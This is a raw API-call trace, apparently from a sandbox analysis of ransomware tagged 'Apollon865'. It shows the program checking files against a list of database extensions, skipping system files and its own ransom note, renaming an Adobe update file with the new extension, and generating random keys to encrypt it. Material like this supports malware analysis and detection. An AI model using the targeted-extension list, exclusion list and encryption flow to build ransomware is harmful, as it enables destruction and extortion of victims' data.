	[0085.454] lstrlenW (lpString="db3") returned 3
	[0085.454] lstrcmpiW (lpString1="msp", lpString2="db3") returned 1
	[0085.454] lstrlenW (lpString="dbf") returned 3
	[0085.454] lstrcmpiW (lpString1="msp", lpString2="dbf") returned 1
	[0085.454] lstrlenW (lpString="mdf") returned 3
	[0085.454] lstrcmpiW (lpString1="msp", lpString2="mdf") returned 1
	[0085.454] lstrlenW (lpString="mdb") returned 3
	[0085.454] lstrcmpiW (lpString1="msp", lpString2="mdb") returned 1
	[0085.454] lstrlenW (lpString="sql") returned 3
	[0085.454] lstrcmpiW (lpString1="msp", lpString2="sql") returned -1
	[0085.454] lstrlenW (lpString="sqlite") returned 6
	[0085.454] lstrcmpiW (lpString1="11.msp", lpString2="sqlite") returned -1
	[0085.454] lstrlenW (lpString="sqlite3") returned 7
	[0085.454] lstrcmpiW (lpString1="111.msp", lpString2="sqlite3") returned -1
	[0085.454] lstrlenW (lpString="sqlitedb") returned 8
	[0085.454] lstrcmpiW (lpString1="0111.msp", lpString2="sqlitedb") returned -1
	[0085.454] lstrlenW (lpString="xml") returned 3
	[0085.454] lstrcmpiW (lpString1="msp", lpString2="xml") returned -1
	[0085.454] lstrlenW (lpString="$er") returned 3
	[0085.454] lstrcmpiW (lpString1="msp", lpString2="$er") returned 1
	[0085.454] lstrlenW (lpString="4dd") returned 3
	[0085.454] lstrcmpiW (lpString1="msp", lpString2="4dd") returned 1
	[0085.454] lstrlenW (lpString="4dl") returned 3
	[0085.454] lstrcmpiW (lpString1="msp", lpString2="4dl") returned 1
	[0085.454] lstrlenW (lpString="^^^") returned 3
	[0085.454] lstrcmpiW (lpString1="msp", lpString2="^^^") returned 1
	[0085.454] lstrlenW (lpString="abs") returned 3
	[0085.454] lstrcmpiW (lpString1="msp", lpString2="abs") returned 1
	[0085.454] lstrlenW (lpString="abx") returned 3
	[0085.454] lstrcmpiW (lpString1="msp", lpString2="abx") returned 1
	[0085.454] lstrlenW (lpString="accdb") returned 5
	[0085.454] lstrcmpiW (lpString1="1.msp", lpString2="accdb") returned -1
	[0085.454] lstrlenW (lpString="accdc") returned 5
	[0085.455] lstrcmpiW (lpString1="1.msp", lpString2="accdc") returned -1
	[0085.455] lstrlenW (lpString="accde") returned 5
	[0085.455] lstrcmpiW (lpString1="1.msp", lpString2="accde") returned -1
	[0085.455] lstrlenW (lpString="accdr") returned 5
	[0085.455] lstrcmpiW (lpString1="1.msp", lpString2="accdr") returned -1
	[0085.455] lstrlenW (lpString="accdt") returned 5
	[0085.455] lstrcmpiW (lpString1="1.msp", lpString2="accdt") returned -1
	[0085.455] lstrlenW (lpString="accdw") returned 5
	[0085.455] lstrcmpiW (lpString1="1.msp", lpString2="accdw") returned -1
	[0085.455] lstrlenW (lpString="accft") returned 5
	[0085.455] lstrcmpiW (lpString1="1.msp", lpString2="accft") returned -1
	[0085.455] lstrlenW (lpString="adb") returned 3
	[0085.455] lstrcmpiW (lpString1="msp", lpString2="adb") returned 1
	[0085.455] lstrlenW (lpString="adb") returned 3
	[0085.455] lstrcmpiW (lpString1="msp", lpString2="adb") returned 1
	[0085.455] lstrlenW (lpString="ade") returned 3
	[0085.455] lstrcmpiW (lpString1="msp", lpString2="ade") returned 1
	[0085.455] lstrlenW (lpString="adf") returned 3
	[0085.455] lstrcmpiW (lpString1="msp", lpString2="adf") returned 1
	[0085.455] lstrlenW (lpString="adn") returned 3
	[0085.455] lstrcmpiW (lpString1="msp", lpString2="adn") returned 1
	[0085.455] lstrlenW (lpString="adp") returned 3
	[0085.455] lstrcmpiW (lpString1="msp", lpString2="adp") returned 1
	[0085.455] lstrlenW (lpString="alf") returned 3
	[0085.455] lstrcmpiW (lpString1="msp", lpString2="alf") returned 1
	[0085.455] lstrlenW (lpString="ask") returned 3
	[0085.455] lstrcmpiW (lpString1="msp", lpString2="ask") returned 1
	[0085.455] lstrlenW (lpString="btr") returned 3
	[0085.455] lstrcmpiW (lpString1="msp", lpString2="btr") returned 1
	[0085.455] lstrlenW (lpString="cat") returned 3
	[0085.455] lstrcmpiW (lpString1="msp", lpString2="cat") returned 1
	[0085.455] lstrlenW (lpString="cdb") returned 3
	[0085.455] lstrcmpiW (lpString1="msp", lpString2="cdb") returned 1
	[0085.455] lstrlenW (lpString="ckp") returned 3
	[0085.455] lstrcmpiW (lpString1="msp", lpString2="ckp") returned 1
	[0085.455] lstrlenW (lpString="cma") returned 3
	[0085.455] lstrcmpiW (lpString1="msp", lpString2="cma") returned 1
	[0085.455] lstrlenW (lpString="cpd") returned 3
	[0085.455] lstrcmpiW (lpString1="msp", lpString2="cpd") returned 1
	[0085.456] lstrlenW (lpString="dacpac") returned 6
	[0085.456] lstrcmpiW (lpString1="11.msp", lpString2="dacpac") returned -1
	[0085.456] lstrlenW (lpString="dad") returned 3
	[0085.456] lstrcmpiW (lpString1="msp", lpString2="dad") returned 1
	[0085.456] lstrlenW (lpString="dadiagrams") returned 10
	[0085.456] lstrcmpiW (lpString1="d10111.msp", lpString2="dadiagrams") returned -1
	[0085.456] lstrlenW (lpString="daschema") returned 8
	[0085.456] lstrcmpiW (lpString1="0111.msp", lpString2="daschema") returned -1
	[0085.456] lstrlenW (lpString="db-journal") returned 10
	[0085.456] lstrcmpiW (lpString1="d10111.msp", lpString2="db-journal") returned -1
	[0085.456] lstrlenW (lpString="db-shm") returned 6
	[0085.456] lstrcmpiW (lpString1="11.msp", lpString2="db-shm") returned -1
	[0085.456] lstrlenW (lpString="db-wal") returned 6
	[0085.456] lstrcmpiW (lpString1="11.msp", lpString2="db-wal") returned -1
	[0085.456] lstrlenW (lpString="dbc") returned 3
	[0085.456] lstrcmpiW (lpString1="msp", lpString2="dbc") returned 1
	[0085.456] lstrlenW (lpString="dbs") returned 3
	[0085.456] lstrcmpiW (lpString1="msp", lpString2="dbs") returned 1
	[0085.456] lstrlenW (lpString="dbt") returned 3
	[0085.456] lstrcmpiW (lpString1="msp", lpString2="dbt") returned 1
	[0085.456] lstrlenW (lpString="dbv") returned 3
	[0085.456] lstrcmpiW (lpString1="msp", lpString2="dbv") returned 1
	[0085.456] lstrlenW (lpString="dbx") returned 3
	[0085.456] lstrcmpiW (lpString1="msp", lpString2="dbx") returned 1
	[0085.456] lstrlenW (lpString="dcb") returned 3
	[0085.456] lstrcmpiW (lpString1="msp", lpString2="dcb") returned 1
	[0085.456] lstrlenW (lpString="dct") returned 3
	[0085.456] lstrcmpiW (lpString1="msp", lpString2="dct") returned 1
	[0085.456] lstrlenW (lpString="dcx") returned 3
	[0085.456] lstrcmpiW (lpString1="msp", lpString2="dcx") returned 1
	[0085.456] lstrlenW (lpString="ddl") returned 3
	[0085.456] lstrcmpiW (lpString1="msp", lpString2="ddl") returned 1
	[0085.456] lstrlenW (lpString="dlis") returned 4
	[0085.456] lstrcmpiW (lpString1=".msp", lpString2="dlis") returned -1
	[0085.456] lstrlenW (lpString="dp1") returned 3
	[0085.456] lstrcmpiW (lpString1="msp", lpString2="dp1") returned 1
	[0085.456] lstrlenW (lpString="dqy") returned 3
	[0085.456] lstrcmpiW (lpString1="msp", lpString2="dqy") returned 1
	[0085.457] lstrlenW (lpString="dsk") returned 3
	[0085.457] lstrcmpiW (lpString1="msp", lpString2="dsk") returned 1
	[0085.457] lstrlenW (lpString="dsn") returned 3
	[0085.457] lstrcmpiW (lpString1="msp", lpString2="dsn") returned 1
	[0085.457] lstrlenW (lpString="dtsx") returned 4
	[0085.457] lstrcmpiW (lpString1=".msp", lpString2="dtsx") returned -1
	[0085.457] lstrlenW (lpString="dxl") returned 3
	[0085.457] lstrcmpiW (lpString1="msp", lpString2="dxl") returned 1
	[0085.457] lstrlenW (lpString="eco") returned 3
	[0085.457] lstrcmpiW (lpString1="msp", lpString2="eco") returned 1
	[0085.457] lstrlenW (lpString="ecx") returned 3
	[0085.457] lstrcmpiW (lpString1="msp", lpString2="ecx") returned 1
	[0085.457] lstrlenW (lpString="edb") returned 3
	[0085.457] lstrcmpiW (lpString1="msp", lpString2="edb") returned 1
	[0085.457] lstrlenW (lpString="epim") returned 4
	[0085.457] lstrcmpiW (lpString1=".msp", lpString2="epim") returned -1
	[0085.457] lstrlenW (lpString="fcd") returned 3
	[0085.457] lstrcmpiW (lpString1="msp", lpString2="fcd") returned 1
	[0085.457] lstrlenW (lpString="fdb") returned 3
	[0085.457] lstrcmpiW (lpString1="msp", lpString2="fdb") returned 1
	[0085.457] lstrlenW (lpString="fic") returned 3
	[0085.457] lstrcmpiW (lpString1="msp", lpString2="fic") returned 1
	[0085.457] lstrlenW (lpString="flexolibrary") returned 12
	[0085.457] lstrcmpiW (lpString1="Upd10111.msp", lpString2="flexolibrary") returned 1
	[0085.457] lstrlenW (lpString="fm5") returned 3
	[0085.457] lstrcmpiW (lpString1="msp", lpString2="fm5") returned 1
	[0085.457] lstrlenW (lpString="fmp") returned 3
	[0085.457] lstrcmpiW (lpString1="msp", lpString2="fmp") returned 1
	[0085.458] lstrlenW (lpString="fmp12") returned 5
	[0085.458] lstrcmpiW (lpString1="1.msp", lpString2="fmp12") returned -1
	[0085.458] lstrlenW (lpString="fmpsl") returned 5
	[0085.458] lstrcmpiW (lpString1="1.msp", lpString2="fmpsl") returned -1
	[0085.458] lstrlenW (lpString="fol") returned 3
	[0085.458] lstrcmpiW (lpString1="msp", lpString2="fol") returned 1
	[0085.458] lstrlenW (lpString="fp3") returned 3
	[0085.458] lstrcmpiW (lpString1="msp", lpString2="fp3") returned 1
	[0085.458] lstrlenW (lpString="fp4") returned 3
	[0085.458] lstrcmpiW (lpString1="msp", lpString2="fp4") returned 1
	[0085.458] lstrlenW (lpString="fp5") returned 3
	[0085.458] lstrcmpiW (lpString1="msp", lpString2="fp5") returned 1
	[0085.458] lstrlenW (lpString="fp7") returned 3
	[0085.458] lstrcmpiW (lpString1="msp", lpString2="fp7") returned 1
	[0085.458] lstrlenW (lpString="fpt") returned 3
	[0085.458] lstrcmpiW (lpString1="msp", lpString2="fpt") returned 1
	[0085.458] lstrlenW (lpString="frm") returned 3
	[0085.458] lstrcmpiW (lpString1="msp", lpString2="frm") returned 1
	[0085.458] lstrlenW (lpString="gdb") returned 3
	[0085.458] lstrcmpiW (lpString1="msp", lpString2="gdb") returned 1
	[0085.458] lstrlenW (lpString="gdb") returned 3
	[0085.458] lstrcmpiW (lpString1="msp", lpString2="gdb") returned 1
	[0085.458] lstrlenW (lpString="grdb") returned 4
	[0085.458] lstrcmpiW (lpString1=".msp", lpString2="grdb") returned -1
	[0085.458] lstrlenW (lpString="gwi") returned 3
	[0085.458] lstrcmpiW (lpString1="msp", lpString2="gwi") returned 1
	[0085.458] lstrlenW (lpString="hdb") returned 3
	[0085.458] lstrcmpiW (lpString1="msp", lpString2="hdb") returned 1
	[0085.458] lstrlenW (lpString="his") returned 3
	[0085.458] lstrcmpiW (lpString1="msp", lpString2="his") returned 1
	[0085.458] lstrlenW (lpString="ib") returned 2
	[0085.458] lstrcmpiW (lpString1="sp", lpString2="ib") returned 1
	[0085.458] lstrlenW (lpString="idb") returned 3
	[0085.458] lstrcmpiW (lpString1="msp", lpString2="idb") returned 1
	[0085.459] lstrlenW (lpString="ihx") returned 3
	[0085.459] lstrcmpiW (lpString1="msp", lpString2="ihx") returned 1
	[0085.459] lstrlenW (lpString="itdb") returned 4
	[0085.459] lstrcmpiW (lpString1=".msp", lpString2="itdb") returned -1
	[0085.459] lstrlenW (lpString="itw") returned 3
	[0085.459] lstrcmpiW (lpString1="msp", lpString2="itw") returned 1
	[0085.459] lstrlenW (lpString="jet") returned 3
	[0085.459] lstrcmpiW (lpString1="msp", lpString2="jet") returned 1
	[0085.459] lstrlenW (lpString="jtx") returned 3
	[0085.459] lstrcmpiW (lpString1="msp", lpString2="jtx") returned 1
	[0085.459] lstrlenW (lpString="kdb") returned 3
	[0085.459] lstrcmpiW (lpString1="msp", lpString2="kdb") returned 1
	[0085.459] lstrlenW (lpString="kexi") returned 4
	[0085.459] lstrcmpiW (lpString1=".msp", lpString2="kexi") returned -1
	[0085.459] lstrlenW (lpString="kexic") returned 5
	[0085.459] lstrcmpiW (lpString1="1.msp", lpString2="kexic") returned -1
	[0085.459] lstrlenW (lpString="kexis") returned 5
	[0085.459] lstrcmpiW (lpString1="1.msp", lpString2="kexis") returned -1
	[0085.459] lstrlenW (lpString="lgc") returned 3
	[0085.459] lstrcmpiW (lpString1="msp", lpString2="lgc") returned 1
	[0085.459] lstrlenW (lpString="lwx") returned 3
	[0085.459] lstrcmpiW (lpString1="msp", lpString2="lwx") returned 1
	[0085.459] lstrlenW (lpString="maf") returned 3
	[0085.459] lstrcmpiW (lpString1="msp", lpString2="maf") returned 1
	[0085.459] lstrlenW (lpString="maq") returned 3
	[0085.459] lstrcmpiW (lpString1="msp", lpString2="maq") returned 1
	[0085.459] lstrlenW (lpString="mar") returned 3
	[0085.459] lstrcmpiW (lpString1="msp", lpString2="mar") returned 1
	[0085.459] lstrlenW (lpString="marshal") returned 7
	[0085.459] lstrcmpiW (lpString1="111.msp", lpString2="marshal") returned -1
	[0085.459] lstrlenW (lpString="mas") returned 3
	[0085.459] lstrcmpiW (lpString1="msp", lpString2="mas") returned 1
	[0085.459] lstrlenW (lpString="mav") returned 3
	[0085.459] lstrcmpiW (lpString1="msp", lpString2="mav") returned 1
	[0085.459] lstrlenW (lpString="maw") returned 3
	[0085.459] lstrcmpiW (lpString1="msp", lpString2="maw") returned 1
	[0085.459] lstrlenW (lpString="mdbhtml") returned 7
	[0085.459] lstrcmpiW (lpString1="111.msp", lpString2="mdbhtml") returned -1
	[0085.460] lstrlenW (lpString="mdn") returned 3
	[0085.460] lstrcmpiW (lpString1="msp", lpString2="mdn") returned 1
	[0085.460] lstrlenW (lpString="mdt") returned 3
	[0085.460] lstrcmpiW (lpString1="msp", lpString2="mdt") returned 1
	[0085.460] lstrlenW (lpString="mfd") returned 3
	[0085.460] lstrcmpiW (lpString1="msp", lpString2="mfd") returned 1
	[0085.460] lstrlenW (lpString="mpd") returned 3
	[0085.460] lstrcmpiW (lpString1="msp", lpString2="mpd") returned 1
	[0085.460] lstrlenW (lpString="mrg") returned 3
	[0085.460] lstrcmpiW (lpString1="msp", lpString2="mrg") returned 1
	[0085.460] lstrlenW (lpString="mud") returned 3
	[0085.460] lstrcmpiW (lpString1="msp", lpString2="mud") returned -1
	[0085.460] lstrlenW (lpString="mwb") returned 3
	[0085.460] lstrcmpiW (lpString1="msp", lpString2="mwb") returned -1
	[0085.460] lstrlenW (lpString="myd") returned 3
	[0085.460] lstrcmpiW (lpString1="msp", lpString2="myd") returned -1
	[0085.460] lstrlenW (lpString="ndf") returned 3
	[0085.460] lstrcmpiW (lpString1="msp", lpString2="ndf") returned -1
	[0085.460] lstrlenW (lpString="nnt") returned 3
	[0085.460] lstrcmpiW (lpString1="msp", lpString2="nnt") returned -1
	[0085.460] lstrlenW (lpString="nrmlib") returned 6
	[0085.460] lstrcmpiW (lpString1="11.msp", lpString2="nrmlib") returned -1
	[0085.460] lstrlenW (lpString="ns2") returned 3
	[0085.460] lstrcmpiW (lpString1="msp", lpString2="ns2") returned -1
	[0085.460] lstrlenW (lpString="ns3") returned 3
	[0085.460] lstrcmpiW (lpString1="msp", lpString2="ns3") returned -1
	[0085.460] lstrlenW (lpString="ns4") returned 3
	[0085.460] lstrcmpiW (lpString1="msp", lpString2="ns4") returned -1
	[0085.460] lstrlenW (lpString="nsf") returned 3
	[0085.460] lstrcmpiW (lpString1="msp", lpString2="nsf") returned -1
	[0085.460] lstrlenW (lpString="nv") returned 2
	[0085.460] lstrcmpiW (lpString1="sp", lpString2="nv") returned 1
	[0085.460] lstrlenW (lpString="nv2") returned 3
	[0085.460] lstrcmpiW (lpString1="msp", lpString2="nv2") returned -1
	[0085.460] lstrlenW (lpString="nwdb") returned 4
	[0085.460] lstrcmpiW (lpString1=".msp", lpString2="nwdb") returned -1
	[0085.460] lstrlenW (lpString="nyf") returned 3
	[0085.460] lstrcmpiW (lpString1="msp", lpString2="nyf") returned -1
	[0085.461] lstrlenW (lpString="odb") returned 3
	[0085.461] lstrcmpiW (lpString1="msp", lpString2="odb") returned -1
	[0085.461] lstrlenW (lpString="odb") returned 3
	[0085.461] lstrcmpiW (lpString1="msp", lpString2="odb") returned -1
	[0085.461] lstrlenW (lpString="oqy") returned 3
	[0085.461] lstrcmpiW (lpString1="msp", lpString2="oqy") returned -1
	[0085.461] lstrlenW (lpString="ora") returned 3
	[0085.461] lstrcmpiW (lpString1="msp", lpString2="ora") returned -1
	[0085.461] lstrlenW (lpString="orx") returned 3
	[0085.461] lstrcmpiW (lpString1="msp", lpString2="orx") returned -1
	[0085.461] lstrlenW (lpString="owc") returned 3
	[0085.461] lstrcmpiW (lpString1="msp", lpString2="owc") returned -1
	[0085.461] lstrlenW (lpString="p96") returned 3
	[0085.461] lstrcmpiW (lpString1="msp", lpString2="p96") returned -1
	[0085.461] lstrlenW (lpString="p97") returned 3
	[0085.461] lstrcmpiW (lpString1="msp", lpString2="p97") returned -1
	[0085.461] lstrlenW (lpString="pan") returned 3
	[0085.461] lstrcmpiW (lpString1="msp", lpString2="pan") returned -1
	[0085.461] lstrlenW (lpString="pdb") returned 3
	[0085.461] lstrcmpiW (lpString1="msp", lpString2="pdb") returned -1
	[0085.461] lstrlenW (lpString="pdm") returned 3
	[0085.461] lstrcmpiW (lpString1="msp", lpString2="pdm") returned -1
	[0085.461] lstrlenW (lpString="pnz") returned 3
	[0085.461] lstrcmpiW (lpString1="msp", lpString2="pnz") returned -1
	[0085.461] lstrlenW (lpString="qry") returned 3
	[0085.461] lstrcmpiW (lpString1="msp", lpString2="qry") returned -1
	[0085.461] lstrlenW (lpString="qvd") returned 3
	[0085.461] lstrcmpiW (lpString1="msp", lpString2="qvd") returned -1
	[0085.461] lstrlenW (lpString="rbf") returned 3
	[0085.461] lstrcmpiW (lpString1="msp", lpString2="rbf") returned -1
	[0085.461] lstrlenW (lpString="rctd") returned 4
	[0085.461] lstrcmpiW (lpString1=".msp", lpString2="rctd") returned -1
	[0085.461] lstrlenW (lpString="rod") returned 3
	[0085.461] lstrcmpiW (lpString1="msp", lpString2="rod") returned -1
	[0085.461] lstrlenW (lpString="rodx") returned 4
	[0085.461] lstrcmpiW (lpString1=".msp", lpString2="rodx") returned -1
	[0085.461] lstrlenW (lpString="rpd") returned 3
	[0085.461] lstrcmpiW (lpString1="msp", lpString2="rpd") returned -1
	[0085.462] lstrlenW (lpString="rsd") returned 3
	[0085.462] lstrcmpiW (lpString1="msp", lpString2="rsd") returned -1
	[0085.462] lstrlenW (lpString="sas7bdat") returned 8
	[0085.462] lstrcmpiW (lpString1="0111.msp", lpString2="sas7bdat") returned -1
	[0085.462] lstrlenW (lpString="sbf") returned 3
	[0085.462] lstrcmpiW (lpString1="msp", lpString2="sbf") returned -1
	[0085.462] lstrlenW (lpString="scx") returned 3
	[0085.462] lstrcmpiW (lpString1="msp", lpString2="scx") returned -1
	[0085.462] lstrlenW (lpString="sdb") returned 3
	[0085.462] lstrcmpiW (lpString1="msp", lpString2="sdb") returned -1
	[0085.462] lstrlenW (lpString="sdc") returned 3
	[0085.462] lstrcmpiW (lpString1="msp", lpString2="sdc") returned -1
	[0085.462] lstrlenW (lpString="sdf") returned 3
	[0085.462] lstrcmpiW (lpString1="msp", lpString2="sdf") returned -1
	[0085.462] lstrlenW (lpString="sis") returned 3
	[0085.462] lstrcmpiW (lpString1="msp", lpString2="sis") returned -1
	[0085.462] lstrlenW (lpString="spq") returned 3
	[0085.462] lstrcmpiW (lpString1="msp", lpString2="spq") returned -1
	[0085.462] lstrlenW (lpString="te") returned 2
	[0085.462] lstrcmpiW (lpString1="sp", lpString2="te") returned -1
	[0085.462] lstrlenW (lpString="teacher") returned 7
	[0085.462] lstrcmpiW (lpString1="111.msp", lpString2="teacher") returned -1
	[0085.462] lstrlenW (lpString="tmd") returned 3
	[0085.462] lstrcmpiW (lpString1="msp", lpString2="tmd") returned -1
	[0085.462] lstrlenW (lpString="tps") returned 3
	[0085.462] lstrcmpiW (lpString1="msp", lpString2="tps") returned -1
	[0085.462] lstrlenW (lpString="trc") returned 3
	[0085.462] lstrcmpiW (lpString1="msp", lpString2="trc") returned -1
	[0085.462] lstrlenW (lpString="trc") returned 3
	[0085.462] lstrcmpiW (lpString1="msp", lpString2="trc") returned -1
	[0085.462] lstrlenW (lpString="trm") returned 3
	[0085.462] lstrcmpiW (lpString1="msp", lpString2="trm") returned -1
	[0085.462] lstrlenW (lpString="udb") returned 3
	[0085.462] lstrcmpiW (lpString1="msp", lpString2="udb") returned -1
	[0085.462] lstrlenW (lpString="udl") returned 3
	[0085.462] lstrcmpiW (lpString1="msp", lpString2="udl") returned -1
	[0085.462] lstrlenW (lpString="usr") returned 3
	[0085.462] lstrcmpiW (lpString1="msp", lpString2="usr") returned -1
	[0085.463] lstrlenW (lpString="v12") returned 3
	[0085.463] lstrcmpiW (lpString1="msp", lpString2="v12") returned -1
	[0085.463] lstrlenW (lpString="vis") returned 3
	[0085.463] lstrcmpiW (lpString1="msp", lpString2="vis") returned -1
	[0085.463] lstrlenW (lpString="vpd") returned 3
	[0085.463] lstrcmpiW (lpString1="msp", lpString2="vpd") returned -1
	[0085.463] lstrlenW (lpString="vvv") returned 3
	[0085.463] lstrcmpiW (lpString1="msp", lpString2="vvv") returned -1
	[0085.463] lstrlenW (lpString="wdb") returned 3
	[0085.463] lstrcmpiW (lpString1="msp", lpString2="wdb") returned -1
	[0085.463] lstrlenW (lpString="wmdb") returned 4
	[0085.463] lstrcmpiW (lpString1=".msp", lpString2="wmdb") returned -1
	[0085.463] lstrlenW (lpString="wrk") returned 3
	[0085.463] lstrcmpiW (lpString1="msp", lpString2="wrk") returned -1
	[0085.463] lstrlenW (lpString="xdb") returned 3
	[0085.463] lstrcmpiW (lpString1="msp", lpString2="xdb") returned -1
	[0085.463] lstrlenW (lpString="xld") returned 3
	[0085.463] lstrcmpiW (lpString1="msp", lpString2="xld") returned -1
	[0085.463] lstrlenW (lpString="xmlff") returned 5
	[0085.463] lstrcmpiW (lpString1="1.msp", lpString2="xmlff") returned -1
	[0085.463] wsprintfW (in: param_1=0x119d398, param_2="%s.%s" | out: param_1="C:\\Users\\All Users\\Adobe\\ARM\\Reader_10.0.0\\AdbeRdrSecUpd10111.msp.Apollon865") returned 76
	[0085.463] MoveFileExW (lpExistingFileName="C:\\Users\\All Users\\Adobe\\ARM\\Reader_10.0.0\\AdbeRdrSecUpd10111.msp" (normalized: "c:\\users\\all users\\adobe\\arm\\reader_10.0.0\\adberdrsecupd10111.msp"), lpNewFileName="C:\\Users\\All Users\\Adobe\\ARM\\Reader_10.0.0\\AdbeRdrSecUpd10111.msp.Apollon865" (normalized: "c:\\users\\all users\\adobe\\arm\\reader_10.0.0\\adberdrsecupd10111.msp.apollon865"), dwFlags=0x1) returned 1
	[0085.465] CreateFileW (lpFileName="C:\\Users\\All Users\\Adobe\\ARM\\Reader_10.0.0\\AdbeRdrSecUpd10111.msp.Apollon865" (normalized: "c:\\users\\all users\\adobe\\arm\\reader_10.0.0\\adberdrsecupd10111.msp.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0x9c
	[0085.465] GetFileSizeEx (in: hFile=0x9c, lpFileSize=0x119e298 | out: lpFileSize=0x119e298*=251904) returned 1
	[0085.465] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x200300) returned 0x3060020
	[0085.466] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a920
	[0085.466] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x5bf9a8
	[0085.466] CryptAcquireContextW (in: phProv=0x119d054, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x119d054*=0x5bf700) returned 1
	[0085.467] CryptGenRandom (in: hProv=0x5bf700, dwLen=0x80, pbBuffer=0x119d068 | out: pbBuffer=0x119d068) returned 1
	[0085.467] CryptReleaseContext (hProv=0x5bf700, dwFlags=0x0) returned 1
	[0085.467] CreateFileMappingW (hFile=0x9c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x3db00, lpName=0x0) returned 0x15c
	[0085.468] MapViewOfFile (hFileMappingObject=0x15c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x3db00) returned 0x120000
	[0085.489] CryptAcquireContextW (in: phProv=0x119d004, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x119d004*=0x5bf700) returned 1
	[0085.490] CryptGenRandom (in: hProv=0x5bf700, dwLen=0x80, pbBuffer=0x119d018 | out: pbBuffer=0x119d018) returned 1
	[0085.490] CryptReleaseContext (hProv=0x5bf700, dwFlags=0x0) returned 1
	[0085.490] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a8a8
	[0085.490] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a8a8 | out: hHeap=0x580000) returned 1
	[0085.490] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x100) returned 0x5c6668
	[0085.490] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b08e8
	[0085.490] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c6668 | out: hHeap=0x580000) returned 1
	[0085.490] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b0a00
	[0085.490] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x208) returned 0x5b28e8
	[0085.490] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b0a00 | out: hHeap=0x580000) returned 1
	[0085.490] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b28e8 | out: hHeap=0x580000) returned 1
	[0085.490] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b08e8 | out: hHeap=0x580000) returned 1
	[0085.490] UnmapViewOfFile (lpBaseAddress=0x120000) returned 1
	[0085.493] CloseHandle (hObject=0x15c) returned 1
	[0085.493] CloseHandle (hObject=0x9c) returned 1
	[0085.493] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a920 | out: hHeap=0x580000) returned 1
	[0085.493] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf9a8 | out: hHeap=0x580000) returned 1
	[0085.493] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x3060020 | out: hHeap=0x580000) returned 1
	[0085.494] FindNextFileW (in: hFindFile=0x5ca2d0, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb4450880, ftCreationTime.dwHighDateTime=0x1cf6c45, ftLastAccessTime.dwLowDateTime=0xb4450880, ftLastAccessTime.dwHighDateTime=0x1cf6c45, ftLastWriteTime.dwLowDateTime=0xb4450880, ftLastWriteTime.dwHighDateTime=0x1cf6c45, nFileSizeHigh=0x0, nFileSizeLow=0x10e3000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="AdbeRdrUpd10110_MUI.msp", cAlternateFileName="ADBERD~1.MSP")) returned 1
	[0085.494] lstrcmpiW (lpString1="AdbeRdrUpd10110_MUI.msp", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0085.494] lstrcmpiW (lpString1="AdbeRdrUpd10110_MUI.msp", lpString2="Apollon865.txt.exe") returned -1
	[0085.494] lstrcmpiW (lpString1="AdbeRdrUpd10110_MUI.msp", lpString2=".") returned 1
	[0085.494] lstrcmpiW (lpString1="AdbeRdrUpd10110_MUI.msp", lpString2="..") returned 1
	[0085.494] lstrcmpiW (lpString1="AdbeRdrUpd10110_MUI.msp", lpString2="windows") returned -1
	[0085.494] lstrcmpiW (lpString1="AdbeRdrUpd10110_MUI.msp", lpString2="bootmgr") returned -1
	[0085.494] lstrcmpiW (lpString1="AdbeRdrUpd10110_MUI.msp", lpString2="temp") returned -1
	[0085.494] lstrcmpiW (lpString1="AdbeRdrUpd10110_MUI.msp", lpString2="pagefile.sys") returned -1
	[0085.495] lstrcmpiW (lpString1="AdbeRdrUpd10110_MUI.msp", lpString2="boot") returned -1
	[0085.495] lstrcmpiW (lpString1="AdbeRdrUpd10110_MUI.msp", lpString2="ids.txt") returned -1
	[0085.495] lstrcmpiW (lpString1="AdbeRdrUpd10110_MUI.msp", lpString2="ntuser.dat") returned -1
	[0085.495] lstrcmpiW (lpString1="AdbeRdrUpd10110_MUI.msp", lpString2="perflogs") returned -1
	[0085.495] lstrcmpiW (lpString1="AdbeRdrUpd10110_MUI.msp", lpString2="MSBuild") returned -1
	[0085.495] lstrlenW (lpString="AdbeRdrUpd10110_MUI.msp") returned 23
	[0085.495] lstrlenW (lpString="C:\\Users\\All Users\\Adobe\\ARM\\Reader_10.0.0\\AdbeRdrSecUpd10111.msp") returned 65
	[0085.495] lstrcpyW (in: lpString1=0x119e65e, lpString2="AdbeRdrUpd10110_MUI.msp" | out: lpString1="AdbeRdrUpd10110_MUI.msp") returned="AdbeRdrUpd10110_MUI.msp"
	[0085.495] lstrlenW (lpString="AdbeRdrUpd10110_MUI.msp") returned 23
	[0085.495] lstrlenW (lpString="Apollon865") returned 10
	[0085.495] lstrcmpiW (lpString1="10_MUI.msp", lpString2="Apollon865") returned -1
